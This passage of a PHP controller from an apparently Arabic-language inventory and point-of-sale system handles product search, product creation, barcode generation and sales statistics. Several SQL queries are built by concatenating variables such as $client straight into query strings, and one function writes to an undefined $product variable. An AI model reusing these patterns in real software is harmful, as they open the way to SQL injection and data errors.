            elseif ($hiddenpricetype == 2) {
                $price = 'productSellHalfPrice';
                $row_array['price'] = $pro->productSellHalfPrice;
            }

            $row_array['selldiscountpercent'] = $pro->selldiscountpercent;
            $row_array['sellpercenttype'] = $pro->sellpercenttype;

            array_push($return_arr, $row_array);
        }
    }

    //echo $return_arr;
    echo json_encode($return_arr);
}

//
function getFinalProductsWithOutProductionRate() {
    global $myProductEx;
    global $myBillsettingEx;
    global $Programsettingdata;

    $categories;
    $row_array = array();
    $return_arr = array();

    $name = $_GET['term']; //It could be product name or category name
    $limit = $Programsettingdata->searchlimit; //intval($_GET['page_limit']);
    if (empty($limit)) {
        $limit = 30;
    }
    $storeid = (isset($_REQUEST["storeid"]) && !empty($_REQUEST["storeid"])) ? $_REQUEST["storeid"] : 1;
    $hiddenpricetype = $_REQUEST["hiddenpricetype"];

    ###################
    $queryString = '';
    $property = $myBillsettingEx->queryByBillidAndBillpropertyid(3, 101); //0 search catname,proname only //1 search sizename,colorname too
    $controlNameSearch = (int) $property[0]->billsettingsvalue;
    $productsData = $myProductEx->getFinalProductsWithOutProductionRateSC($name, $storeid, $queryString, " limit $limit", $controlNameSearch);
    //$productsData = $myProductEx->getFinalProductsWithOutProductionRate($name);
    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            if (!is_null($pro->sizecolorstoredetailid) && $pro->sizecolorstoredetailid > 0) { //has size and color
                $row_array['id'] = "hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid;
            } else { //without size and color
                $row_array['id'] = $pro->productId;
            }
            //$row_array['sizecolorstoredetailid'] = $pro->sizecolorstoredetailid;
            $row_array['text'] = $pro->productName . '/' . $pathArr;
            if (!is_null($pro->sizeName) && !empty($pro->sizeName)) {
                $row_array['text'] .= '/' . $pro->sizeName;
            }
            if (!is_null($pro->colorName) && !empty($pro->colorName)) {
                $row_array['text'] .= '/' . $pro->colorName;
            }

            $row_array['sizeid'] = $pro->sizeid;
            $row_array['colorid'] = $pro->colorid;

            $row_array['productquantity'] = $pro->productquantity;
            $row_array['weightedDiscount'] = $pro->weightedDiscount;


            //جملة
            if ($hiddenpricetype == 0) {

                $price = 'productSellAllPrice';
                $row_array['price'] = $pro->productSellAllPrice;
            }
            //تجزئة
            elseif ($hiddenpricetype == 1) {
                $price = 'productSellUnitPrice';
                $row_array['price'] = $pro->productSellUnitPrice;
            }
            //نصف جملة
            elseif ($hiddenpricetype == 2) {
                $price = 'productSellHalfPrice';
                $row_array['price'] = $pro->productSellHalfPrice;
            }

            $row_array['selldiscountpercent'] = $pro->selldiscountpercent;
            $row_array['sellpercenttype'] = $pro->sellpercenttype;

            array_push($return_arr, $row_array);
        }
    }

    //echo $return_arr;
    echo json_encode($return_arr);
}

function fetch_recursive($parentid, $categories) {
    global $myProductcatEx;
    //print($parentid."<br>");
    $catData = $myProductcatEx->getCategoryAndParentByCatId($parentid);
    //print_r($catData);
    if (count($catData) > 0) {
        $categories .= $catData->productCatName . '/';
        $newParentId = $catData->productCatParent;

        //if($newParentId != 0 && isset($newParentId))
        {
            //$newParentName = $catData->parentName;
            //$categories .= $newParentName.'/';
            return fetch_recursive($newParentId, $categories);
        }
    }
    $categories = substr($categories, 0, strlen($categories) - 1);
    return $categories;
}

// select from Product tbl
function getProductsbyandstor($storeid) {
    global $myProductEx;

    $row_array = array();
    $return_arr = array();

    $name = $_GET['term'];
    $limit = intval($_GET['page_limit']);

    // select all data from producttbl
    $productsData = $myProductEx->queryByNameandstoreidExtWithoutLimit($name, $storeid);

    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            if (isset($pro->sizeid) && $pro->sizeid > 0 && isset($pro->colorid) && $pro->colorid > 0) {
                $productId = "hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid;
            } else {
                $productId = $pro->productId;
            }
            $productName = $pro->productName . '/' . $pathArr;
            if (!is_null($pro->sizeName) && !empty($pro->sizeName)) {
                $productName .= '/' . $pro->sizeName;
            }
            if (!is_null($pro->colorName) && !empty($pro->colorName)) {
                $productName .= '/' . $pro->colorName;
            }

            $row_array['id'] = $productId;
            $row_array['text'] = $productName;

            array_push($return_arr, $row_array);
        }
    }

    echo json_encode($return_arr);
}

function getProductsexpenses() {
    global $myProductEx;

    $row_array = array();
    $return_arr = array();

    $name = $_GET['term'];
    $limit = intval($_GET['page_limit']);

    // select all data from producttbl
    $productsData = $myProductEx->queryByNameandstoreidExtWithoutLimit2($name);

    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            if (isset($pro->sizeid) && $pro->sizeid > 0 && isset($pro->colorid) && $pro->colorid > 0) {
                $productId = "hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid;
            } else {
                $productId = $pro->productId;
            }
            $productName = $pro->parcode . '/' . $pro->productName . '/' . $pathArr;
            if (!is_null($pro->sizeName) && !empty($pro->sizeName)) {
                $productName .= '/' . $pro->sizeName;
            }
            if (!is_null($pro->colorName) && !empty($pro->colorName)) {
                $productName .= '/' . $pro->colorName;
            }

            $row_array['id'] = $productId;
            $row_array['text'] = $productName;

            array_push($return_arr, $row_array);
        }
    }

    echo json_encode($return_arr);
}

// select from Product tbl
function getProductsbyandstorNoService($storeid) {
    global $myProductEx;
    global $myBillsettingEx;

    $row_array = array();
    $return_arr = array();

    $name = $_GET['term'];
    $limit = intval($_GET['page_limit']);


    $property = $myBillsettingEx->queryByBillidAndBillpropertyid(3, 101); //0 search catname,proname only //1 search sizename,colorname too
    $controlNameSearch = (int) $property[0]->billsettingsvalue;
    // select all data from producttbl
    $productsData = $myProductEx->queryByNameandstoreidExtWithoutLimitNoService($name, $storeid, $controlNameSearch);

    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            if (!is_null($pro->sizecolorstoredetailid) && $pro->sizecolorstoredetailid > 0) { //has size and color
                $row_array['id'] = "hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid;
            } else { //without size and color
                $row_array['id'] = $pro->productId;
            }
            //$row_array['sizecolorstoredetailid'] = $pro->sizecolorstoredetailid;
            $row_array['text'] = $pro->productName . '/' . $pathArr;
            if (!is_null($pro->sizeName) && !empty($pro->sizeName)) {
                $row_array['text'] .= '/' . $pro->sizeName;
            }
            if (!is_null($pro->colorName) && !empty($pro->colorName)) {
                $row_array['text'] .= '/' . $pro->colorName;
            }

            $row_array['sizeid'] = $pro->sizeid;
            $row_array['colorid'] = $pro->colorid;

            $row_array['productBuyPrice'] = $pro->productBuyPrice;
            $row_array['productSellAllPrice'] = $pro->productSellAllPrice;
            $row_array['productSellUnitPrice'] = $pro->productSellUnitPrice;
            $row_array['productSellHalfPrice'] = $pro->productSellHalfPrice;
            $row_array['note'] = $pro->productDescription;

            array_push($return_arr, $row_array);
        }
    }

    echo json_encode($return_arr);
}

function getProductsbyandstorNoService2($storeid, $procat) {
    global $myProductEx;

    $row_array = array();
    $return_arr = array();

    $name = $_GET['term'];
    $limit = intval($_GET['page_limit']);

    // select all data from producttbl
    $productsData = $myProductEx->queryByNameandstoreidExtWithoutLimitNoService2($name, $storeid, $procat);

    if (count($productsData) > 0) {
        foreach ($productsData as $pro) {
            $parentId = $pro->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            $row_array['id'] = $pro->productId;
            // $row_array['text'] = $pro->productName . '/' . $pathArr;
            $row_array['text'] = $pro->productName;

            array_push($return_arr, $row_array);
        }
    }

    echo json_encode($return_arr);
}

// select from Product tbl
function loadProductCatNameById($productCatId, $productcatName, $itr) {
    global $myProductcatRecord;

    $productcatNamex = $productcatName;
    // select all data from producttbl
    $productcatData = $myProductcatRecord->load($productCatId);

    if (count($productcatData) > 0) {

        if ($itr == 1) {
            $productcatNamex = $productcatData->productCatName;
        } elseif ($itr == 2) {
            $productcatNamex = $productcatNamex . "/" . $productcatData->productCatName;
        }



        if ($productcatData->productCatParent != 0) {
            return loadProductCatNameById($productcatData->productCatParent, $productcatNamex, 2);
        }
    }

    return $productcatNamex;
}

// select from productcat tbl
function SearchInProductCatNameWithNameAndId($productCatId, $name, $limit, $itr) {
    global $myProductcatRecord;
    global $myProductcatEx;

    $productcatNamex = $name;

    // select all data from productcat tbl
    $productcatData = $myProductcatEx->queryWithNameAndId($productcatNamex, $productCatId);
    if (count($productcatData) > 0) {
        if ($itr == 1) {
            $productcatNamex = $productcatData->productCatName;
        } elseif ($itr == 2) {
            $productcatNamex = $productcatData->productCatName . "/" . $productcatNamex;
        }

        if ($productcatData->productCatParent != 0) {
            return loadProductCatNameById($productcatData->productCatParent, $productcatNamex, 2);
        }
    }
    return $productcatNamex;
}

function addNewproduct() {
    global $myProduct;
    global $myProductRecord;
    global $myProductEx;
    global $myProductunit;
    global $myProductunitRecord;
    global $noOfDecimalPlaces;

    $flag;
    $productId;
    $level = (int) $_POST['level'];
    if ($level != 1) {
        $level = $level - 1;
        $productCatId = $_POST['productCatId' . $level . ''];
    } else {
        $productCatId = $_POST['productCatId'];
    }

    if (empty($_POST['productDate'])) {
        $_POST['productDate'] = date('Y-m-d H:i:s');
    }

    $productName = $_POST['productName'];
    $parcode = $_POST['parcode'];
    $productBuyPrice = (float) $_POST['productBuyPrice'];
    $productSellAllPrice = (float) $_POST['productSellAllPrice'];
    $productSellHalfPrice = (float) $_POST['productSellHalfPrice'];
    $productSellUnitPrice = (float) $_POST['productSellUnitPrice'];
    $new_productquantity = (float) $_POST['new_productquantity'];
    $limitamount = (float) $_POST['limitamount'];
    $productDate = $_POST['productDate'];
    $productDescription = isset($_POST['productDescription']) ? $_POST['productDescription'] : '';
    $unitsItr = $_POST['unitsItr'];
    $type1 = (int) $_POST["type1"];
    $inMenu = (int) $_POST["inMenu1"];
    $expireDate = (int) $_POST["expireDate"];


    $productBuyPrice = round($productBuyPrice, $noOfDecimalPlaces);
    $productSellAllPrice = round($productSellAllPrice, $noOfDecimalPlaces);
    $productSellHalfPrice = round($productSellHalfPrice, $noOfDecimalPlaces);
    $productSellUnitPrice = round($productSellUnitPrice, $noOfDecimalPlaces);

    $productbuypricereal = $_POST['productbuypricereal'];
    $buypricereal_precentage = $_POST['buypricereal_precentage1'];
    $buytotal_precentage = $_POST['buytotal_precentage1'];
    $buyhalf_precentage = $_POST['buyhalf_precentage1'];
    $buypart_precentage = $_POST['buypart_precentage1'];
    $isservice = (int) $_POST['isservice1'];

    $productbuypricereal = round($productbuypricereal, $noOfDecimalPlaces);
    $buypricereal_precentage = round($buypricereal_precentage, $noOfDecimalPlaces);
    $buytotal_precentage = round($buytotal_precentage, $noOfDecimalPlaces);
    $buyhalf_precentage = round($buyhalf_precentage, $noOfDecimalPlaces);
    $buypart_precentage = round($buypart_precentage, $noOfDecimalPlaces);


    if ($isservice == 1) {
        $productBuyPrice = 0;
        $productquantity = 0;
    }
    //check if there is a product with this name in this category or not
    $productValid = $myProductEx->checkForProductNameInOneCategory($productName, $productCatId);
    if (count($productValid) > 0) { //name is in this category
        $flag = 0;
    } else { //name is not in this category, or it is in another category
        if (empty($limitamount)) {
            $limitamount = 0;
        }
        ###################################################################
        ##prcode if not empty check and use it ==> as checkbarcode must be used before insert if user write his own parcode
        if (!empty($parcode)) {
            $parcode = addPreDigitsToNum($parcode);
            ##check for barcode
            $flag = checkbarcode($parcode);
            if ($flag == 1) {
                //parcode is repeated get another one
                $parcode = generateParcode();
            }
            removeParcodeFromTable($parcode);
        } else {
            //will do it after insert use parcode from pro id comming now
        }
        ###################################################################

        $myProduct->productbuypricereal = $productbuypricereal;
        $myProduct->buypricereal_precentage = $buypricereal_precentage;
        $myProduct->buytotal_precentage = $buytotal_precentage;
        $myProduct->buyhalf_precentage = $buyhalf_precentage;
        $myProduct->buypart_precentage = $buypart_precentage;
        $myProduct->expireDate = $expireDate;
        $myProduct->productCatId = $productCatId;
        $myProduct->productName = $productName;
        $myProduct->parcode = $parcode;
        $myProduct->productBuyPrice = $productBuyPrice;
        $myProduct->productSellAllPrice = $productSellAllPrice;
        $myProduct->productSellHalfPrice = $productSellHalfPrice;
        $myProduct->productSellUnitPrice = $productSellUnitPrice;
        $myProduct->lastbuyprice = $productBuyPrice;
        $myProduct->lastbuyprice_withDiscount = $productBuyPrice;
        $myProduct->meanbuyprice = $productBuyPrice;
        $myProduct->meanbuyprice_withDiscount = $productBuyPrice;
        $myProduct->limitamount = $limitamount;
        $myProduct->productDate = $productDate;
        $myProduct->productDescription = $productDescription;
        $myProduct->conditions = 0;
        $myProduct->userId = $_SESSION['userid'];
        $myProduct->type = $type1;
        $myProduct->dailyentryId = 0;
        $myProduct->isService = $isservice;
        $myProduct->isOptic = 0;
        $myProduct->inMenu = $inMenu;


        $productId = $myProductRecord->insert($myProduct);
        onlineTempProductFunc($productId, 1);
        ################################################################
        ##this is prcode if empty
        if (empty($parcode)) {
            $parcode = addPreDigitsToNum($productId);

            ##check for barcode
            $flag = checkbarcode($parcode);
            if ($flag == 1) {
                //parcode is repeated get another one
                $parcode = generateParcode();
            }
            removeParcodeFromTable($parcode);
            $product->parcode = $parcode;
            $myProductRecord->update($product);
        }
        ##############################################################
        //insert into productunit tbl
        $k = 1;
        $Unitdone = 0;
        for ($k = 1; $k <= $unitsItr; $k++) {
            $unitId = $_POST['newunitid' . $k . ''];
            $productNumber = $_POST['newproductnumber' . $k . ''];

            if (isset($unitId) && $unitId != "-1") {
                $myProductunit->conditions = 0;
                $myProductunit->productid = $productId;
                $myProductunit->productnumber = $productNumber;
                $myProductunit->productunitdate = date("Y-m-d");
                $myProductunit->unitid = $unitId;
                $myProductunit->userid = $_SESSION['userid'];

                $myProductunitRecord->insert($myProductunit);
                $Unitdone = 1;
            }
        }

        if ($Unitdone == 0) {

            $myProductunit->conditions = 0;
            $myProductunit->productid = $productId;
            $myProductunit->productnumber = 1;
            $myProductunit->productunitdate = date("Y-m-d");
            $myProductunit->unitid = 1;
            $myProductunit->userid = $_SESSION['userid'];

            $myProductunitRecord->insert($myProductunit);
        }

        //insert into storedetail tbl
        insertStoredetail(1, $productId, $new_productquantity);

        //insert into storereport tbl
        insertStorereport($productId, 1, $new_productquantity, 0, $new_productquantity, 0, $productId, "اضافة منتج", "productController.php");


        $flag = 1;
    }


    return array($flag, $productId);
}

function checkbarcode($parcode) {
    global $productDAO;
    global $Programsettingdata;
    global $availableParcodeDAO;
    $flag = 1;
    if ($Programsettingdata->usedParcode == 0) {
        if (!isset($Programsettingdata->parcodeDigits) || empty($Programsettingdata->parcodeDigits)) {
            $Programsettingdata->parcodeDigits = 5;
        }

        $biggestParcode = '';
        for ($i = 1; $i <= (int) $Programsettingdata->parcodeDigits; $i++) {
            $biggestParcode .= '9';
        }
        $biggestParcode = (int) $biggestParcode;


        if ($parcode <= $biggestParcode) {
            $parcodeResult = $availableParcodeDAO->queryByValue($parcode);
            if (isset($parcodeResult) && count($parcodeResult) > 0) {
                //if value in the table it is not repeated
                $flag = 2;
                return $flag;
            }
        }
    }

    //check if this parcode already exists in db
    $data = $productDAO->queryByParcode($parcode);
    $flag2;
    if (count($data) > 0) { //> 1 as now i check for barcode after in
        $flag2 = 1;
    } else {
        $flag2 = 2;
    }

    $flagToreturn = 1;
    if ($flag == 2 || $flag2 == 2) {
        $flagToreturn = 2;
    }


    return $flagToreturn;
}

function generateParcode() {
    global $availableParcodeEX;
    $parcode = $availableParcodeEX->getAvailableParcodeValue();
    //check if this parcode already exists
    $data = checkbarcode($parcode);
    if ($data != 2) {
        $parcode = generateParcode();
    }
    return $parcode;
}

function removeParcodeFromTable($barcode) {
    global $Programsettingdata;
    global $availableParcodeDAO;
    if ($Programsettingdata->usedParcode == 0) {

        if (!isset($Programsettingdata->parcodeDigits) || empty($Programsettingdata->parcodeDigits)) {
            $Programsettingdata->parcodeDigits = 5;
        }

        $biggestParcode = '';
        for ($i = 1; $i <= (int) $Programsettingdata->parcodeDigits; $i++) {
            $biggestParcode .= '9';
        }
        $biggestParcode = (int) $biggestParcode;

        if ($barcode <= $biggestParcode) {
            $availableParcodeDAO->deleteByValue($barcode);
        }
    }
}

//add in storerawmaterialdetails tbl
function insertStoredetail($storeid, $productid, $productChangeAmount) {

    global $myStoredetail;
    global $myStoredetailRecord;

    $myStoredetail->userid = $_SESSION['userid'];
    $myStoredetail->storedetaildate = date("Y-m-d");
    $myStoredetail->productquantity = $productChangeAmount;
    $myStoredetail->storeid = $storeid;
    $myStoredetail->productid = $productid;

    $myStoredetailRecord->insert($myStoredetail);
}

//add in Storemovement tbl
function insertStorereport($productid, $storeid, $productChangeAmount, $productbefore, $productafter, $storereporttype, $storereportmodelid, $processname, $tablename) {
    global $myStorereport;
    global $myStorereportRecord;

    $myStorereport->processname = $processname;
    $myStorereport->productafter = $productafter;
    $myStorereport->productbefore = $productbefore;
    $myStorereport->productquantity = $productChangeAmount;
    $myStorereport->productid = $productid;
    $myStorereport->storeid = $storeid;
    $myStorereport->storereportdate = date("Y-m-d");
    $myStorereport->storereportmodelid = $storereportmodelid;
    $myStorereport->storereporttype = $storereporttype;
    $myStorereport->tablename = $tablename;
    $myStorereport->userid = $_SESSION['userid'];

    $id = $myStorereportRecord->insert($myStorereport);
    $myStorereport->storereportid = $id;
    onlineTempStoreReportFunc($myStorereport);
}

function getSellStores() {
    global $clientDAO;
    global $userDAO;
    global $storeDAO;
    global $storeEX;

    $clientids = $_REQUEST["id"];
    if (isset($clientids) && !empty($clientids) && $clientids != "null" && $clientids > 0) {
        $userdata = $userDAO->load($_SESSION['userid']);
        $myStores;
        $clientsStores = '';

        $ids = explode(',', $clientids);
        foreach ($ids as $id) {
            $clientData = $clientDAO->load($id);
            if ($clientData->clientStoreIds == '-10') {
                $clientData->clientStoreIds = '';
                $allStores = $storeDAO->queryAll();
                foreach ($allStores as $store) {
                    $clientData->clientStoreIds .= $store->storeId . ',';
                }
                $clientData->clientStoreIds = rtrim($clientData->clientStoreIds, ',');
            }
            $clientsStores .= $clientData->clientStoreIds . ',';
        }
        $clientsStores = rtrim($clientsStores, ',');

        if ($userdata->userstoreid == 0) {
            //user is allowed to has all stores
            $myStores = $storeEX->queryAllIn($clientsStores, ' and conditions = 0 ');
        } else {
            $clientsStores = explode(",", $clientsStores);
            if (in_array($userdata->userstoreid, $clientsStores)) {
                $myStores[0] = $storeDAO->load($userdata->userstoreid);
            } else {
                $allStoresIn = $storeEX->queryAllIn($clientsStores[0], ' and conditions = 0 ');
                $myStores[0] = $allStoresIn[0];
            }
        }

        return $myStores;
    }
}

function getAllSubCatInMenu($catid, $mode) {
    global $productCatExt;
    global $productCatDAO;
    global $catsIDS;
    global $lastLevelCatIDS;
    global $lastLevelCats;
    //mode = 1 get all sub cats
    //mode = 2 get last level cats

    $result = $productCatExt->queryByParentExt($catid, ' and inMenu = 0 ');
    if (count($result) > 0) {
        foreach ($result as $data) {
            if ($mode == 1) {
                $catsIDS .= ", " . $data->productCatId;
                getAllSubCatInMenu($data->productCatId, $mode);
            } elseif ($mode == 2) {
                $childData = $productCatExt->queryByParentExt($data->productCatId, ' and inMenu = 0 ');
                if (count($childData) > 0) {
                    getAllSubCatInMenu($data->productCatId, $mode);
                } else {
                    if (!empty($data->productCatId)) {
                        array_push($lastLevelCatIDS, $data->productCatId);
                        array_push($lastLevelCats, $data);
                    }
                }
            }
        }
    } else {
        //        if ($mode == 2) {
        //            $childData = $productCatExt->queryByParentExt($data->productCatId, ' and inMenu = 0 ');
        //            if (count($childData) > 0) {
        //                getAllSubCatInMenu($data->productCatId, $mode);
        //            } else {
        //                if (!empty($data->productCatId)) {
        //                    array_push($lastLevelCatIDS, $data->productCatId);
        //                    array_push($lastLevelCats, $data);
        //                }
        //            }
        //        }
    }
}

function getNotesDiff($notes, $notesPrinted) {

    $notesDiff = $notes;
    if (!empty($notesPrinted)) {
        $notes = explode(',', $notes);
        $notesPrinted = explode(',', $notesPrinted);
        $a = $notes[0] - $notesPrinted[0];
        $b = $notes[1] - $notesPrinted[1];
        $c = $notes[2] - $notesPrinted[2];
        $d = $notes[3] - $notesPrinted[3];
        $e = $notes[4] - $notesPrinted[4];
        $f = $notes[5] - $notesPrinted[5];
        $notesDiff = $a . ',' . $b . ',' . $c . ',' . $d . ',' . $e . ',' . $f;
    }
    return $notesDiff;
}

function getNotesSum($notes1, $notes2) {
    $notesSum;
    if (empty($notes1) && empty($notes2)) {
        $notesSum = "";
    } elseif (empty($notes1) && !empty($notes2)) {
        $notesSum = $notes2;
    } elseif (!empty($notes1) && empty($notes2)) {
        $notesSum = $notes1;
    } else {
        $notes1 = explode(',', $notes1);
        $notes2 = explode(',', $notes2);
        //
        $a = $notes1[0] + $notes2[0];
        $b = $notes1[1] + $notes2[1];
        $c = $notes1[2] + $notes2[2];
        $d = $notes1[3] + $notes2[3];
        $e = $notes1[4] + $notes2[4];
        $f = $notes1[5] + $notes2[5];
        $notesSum = $a . ',' . $b . ',' . $c . ',' . $d . ',' . $e . ',' . $f;
    }

    return $notesSum;
}

function getRestaurantOrderDetails($orderId) {
    global $restaurantOrderDetailsEX;
    $restaurantOrderDetails = $restaurantOrderDetailsEX->queryByOrderIdEX($orderId);
    foreach ($restaurantOrderDetails as $details) {
        $notesStr = '';
        if ($details->notes != "") {
            $notesArr = explode(',', $details->notes);
            if (!empty($notesArr[0])) {
                $notesStr .= $notesArr[0] . ' زيادة عالى ';
            }
            if (!empty($notesArr[1])) {
                $notesStr .= $notesArr[1] . ' زيادة ';
            }
            if (!empty($notesArr[2])) {
                $notesStr .= $notesArr[2] . ' مانو ';
            }
            if (!empty($notesArr[3])) {
                $notesStr .= $notesArr[3] . ' مظبوط ';
            }
            if (!empty($notesArr[4])) {
                $notesStr .= $notesArr[4] . ' عالريحه ';
            }
            if (!empty($notesArr[5])) {
                $notesStr .= $notesArr[5] . ' ساده ';
            }
        }
        if (empty($details->notesPrinted)) {
            $details->notesPrinted = '0,0,0,0,0,0';
        }
        if (empty($details->notes)) {
            $details->notes = '0,0,0,0,0,0';
        }
        $details->notesPrinted = explode(',', $details->notesPrinted);
        $details->notes = explode(',', $details->notes);
        $details->notesStr = $notesStr;
    }
    return $restaurantOrderDetails;
}

function addPreDigitsToNum($num) {
    global $Programsettingdata;

    if (!isset($Programsettingdata->parcodeDigits) || empty($Programsettingdata->parcodeDigits)) {
        $Programsettingdata->parcodeDigits = 5;
    }
    $length = $Programsettingdata->parcodeDigits;


    $preDigits = '';
    if (strlen($num) != $length) {
        $noDigitsLeft = $length - strlen($num);
        for ($j = 0; $j < $noDigitsLeft; $j++) {
            $preDigits .= '0';
        }
    }
    return $preDigits . $num;
}

function useSpecializedParcodeDigits($parcode, $productId, $specializedParcodeDigits) {
    $preDigits = '';
    if (strlen($productId) != $specializedParcodeDigits) {
        $noDigitsLeft = $specializedParcodeDigits - strlen($productId);
        for ($j = 0; $j < $noDigitsLeft; $j++) {
            $preDigits .= '0';
        }
    }
    $newParcode = 'i' . $preDigits . $productId;
    return $newParcode;
}

function loadProductWithByParcode() {
    global $myProductEx;
    global $Programsettingdata;

    $categories;
    $row_array = array();
    $rows_array = array();
    $return_arr = array();

    $parcode = $_GET['term']; //It could be product name or category name
    $limit = intval($_GET['page_limit']);
    if ($parcode == '') {
        $productsData = $myProductEx->loadProductbyparcod($parcode); //queryByNameExtWithoutLimitParcode2
        if (count($productsData) > 0) {
            foreach ($productsData as $pro) {

                $parentId = $pro->productCatId;
                //names of product's parents
                $pathArr = fetch_recursive($parentId, $categories);

                //send product id and product name as something that select2 expects.
                //send product id and product name as something that select2 expects.

                $row_array['id'] = $pro->productId;
                //$row_array['sizecolorstoredetailid'] = $pro->sizecolorstoredetailid;
                $row_array['text'] = $pro->productName . '/' . $pathArr;


                //            $row_array['productquantity'] = $pro->productquantity;
                array_push($return_arr, $row_array);
            }
        }
    } else {

        if ($Programsettingdata->usedParcode == 1) { //usedParcode == 1 it is id coming after i
            $parcode = str_replace('ه', 'i', $parcode);
            $parcode = str_replace('÷', 'i', $parcode);
            $parcode = str_replace('/', 'i', $parcode);
            $parcode = str_replace('I', 'i', $parcode);
            if ($parcode[0] == 'i') {
                $parcode = str_replace("i", "", $parcode);
                $productsData = $myProductEx->loadProduct((int) $parcode);
            } else {
                $productsData = $myProductEx->queryWithParcode($parcode);
            }
        } else {
            $productsData = $myProductEx->queryWithParcode($parcode);
        }

        //    $productsData = $myProductEx->queryByNameExtWithoutLimitParcode2($parcode);
        if (count($productsData) > 0) {

            $parentId = $productsData->productCatId;
            //names of product's parents
            $pathArr = fetch_recursive($parentId, $categories);

            //send product id and product name as something that select2 expects.
            //send product id and product name as something that select2 expects.

            $row_array['id'] = $productsData->productId;
            //$row_array['sizecolorstoredetailid'] = $pro->sizecolorstoredetailid;
            $row_array['text'] = $productsData->productName . '/' . $pathArr;


            //            $row_array['productquantity'] = $pro->productquantity;
            array_push($return_arr, $row_array);
        }

        echo json_encode($return_arr);
    }
}

function loadProductUnitWithProductAndUnit($productId, $unitId) {

    //to use the variable out side the funcion
    global $myProductunitEx;

    // select all data from productunit tbl
    $productunitData = $myProductunitEx->queryWithProductIdAndUnitId($productId, $unitId);

    return $productunitData;
}

function getSellStatistics($client, $productsData) {
    global $mySellbillEx;
    global $SellbillandruternEX;

    $productStatistics = array();

    $productIdsNoSizeColor = '';
    $queryString = '';
    foreach ($productsData as $pro) {
        if (!is_null($pro->sizecolorstoredetailid) && $pro->sizecolorstoredetailid > 0) { //has size and color
            $queryString .= " or (sellbilldetailproductid=$pro->productId and sizeid=$pro->sizeid and colorid=$pro->colorid)";
            $productStatistics["hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid] = 0;
        } else { //without size and color
            $productIdsNoSizeColor .= "$pro->productId,";
            $productStatistics[$pro->productId] = 0;
        }
    }
    $productIdsNoSizeColor = trim($productIdsNoSizeColor, ",");

    if (!empty($productIdsNoSizeColor)) {
        $queryString .= " or sellbilldetailproductid in($productIdsNoSizeColor) ";
    }
    //get statistics
    $sellStat = $mySellbillEx->getClientSellStatistics($client, $queryString);
    foreach ($sellStat as $pro) {
        if ($pro->sizeid > 0 && $pro->colorid > 0) { //has size and color
            $productStatistics["hasSizeColor" . $pro->sellbilldetailproductid . "-" . $pro->sizeid . "-" . $pro->colorid] += $pro->sellbillid;
        } else {
            $productStatistics[$pro->sellbilldetailproductid] += $pro->sellbillid;
        }
    }
    $sellAndRetStat = $SellbillandruternEX->getClientSellStatistics($client, $queryString);
    foreach ($sellAndRetStat as $pro) {
        if ($pro->sizeid > 0 && $pro->colorid > 0) { //has size and color
            $productStatistics["hasSizeColor" . $pro->sellbilldetailproductid . "-" . $pro->sizeid . "-" . $pro->colorid] += $pro->sellbillid;
        } else {
            $productStatistics[$pro->sellbilldetailproductid] += $pro->sellbillid;
        }
    }
    return $productStatistics;
}

function getNetSellStatistics($client, $productsData) {
    global $myReturnsellbillEx;

    $productStatistics = array();

    $productIdsNoSizeColor = '';
    $queryString = '';
    $retQueryString = '';
    foreach ($productsData as $pro) {
        if (!is_null($pro->sizecolorstoredetailid) && $pro->sizecolorstoredetailid > 0) { //has size and color
            $queryString .= " and (sellbilldetailproductid=$pro->productId and sizeid=$pro->sizeid and colorid=$pro->colorid)";
            $retQueryString .= " and (returnsellbilldetailproductid=$pro->productId and sizeid=$pro->sizeid and colorid=$pro->colorid)";
            $productStatistics["hasSizeColor" . $pro->productId . "-" . $pro->sizeid . "-" . $pro->colorid] = 0;
        } else { //without size and color
            $productIdsNoSizeColor .= "$pro->productId,";
            $productStatistics[$pro->productId] = 0;
        }
    }
    $productIdsNoSizeColor = trim($productIdsNoSizeColor, ",");

    if (!empty($productIdsNoSizeColor)) {
        $queryString .= " and sellbilldetailproductid in($productIdsNoSizeColor) ";
        $retQueryString .= " and returnsellbilldetailproductid in($productIdsNoSizeColor) ";
    }
    //get statistics
    $sellSumPro = R::getAll('SELECT sellbilldetailproductid AS productid,sizeid,colorid,SUM(sellbilldetail.sellbilldetailquantity) as sellbilldetailquantity
                FROM sellbill
                JOIN sellbilldetail ON (sellbill.sellbillid = sellbilldetail.sellbillid and sellbill.conditions = 0 and sellbillclientid = ' . $client . ')
                where 1
                    ' . $queryString . '
                group by sellbilldetailproductid,sizeid,colorid');
    $sellRetSumPro = R::getAll('SELECT sellbilldetailproductid AS productid,sizeid,colorid,SUM(sellandruternbilldetail.sellbilldetailquantity) as sellbilldetailquantity
                FROM sellbillandrutern
                JOIN sellandruternbilldetail ON (sellandruternbilldetail.sellbillid = sellbillandrutern.sellbillid and sellbillandrutern.conditions = 0 AND sellandruternbilldetail.selltype = 0 and sellbillandrutern.sellbillclientid =' . $client . ')
                where 1
                ' . $queryString . '
                group by sellbilldetailproductid,sizeid,colorid');
    $retSellSumPro = R::getAll('SELECT returnsellbilldetailproductid AS productid,sizeid,colorid,SUM(returnsellbilldetail.returnsellbilldetailquantity) as returnsellbilldetailquantity
                FROM returnsellbill
                JOIN returnsellbilldetail ON (returnsellbill.returnsellbillid = returnsellbilldetail.returnsellbillid and returnsellbill.conditions = 0 and returnsellbillclientid = ' . $client . ')
                where 1
                ' . $retQueryString . '
                group by returnsellbilldetailproductid,sizeid,colorid');
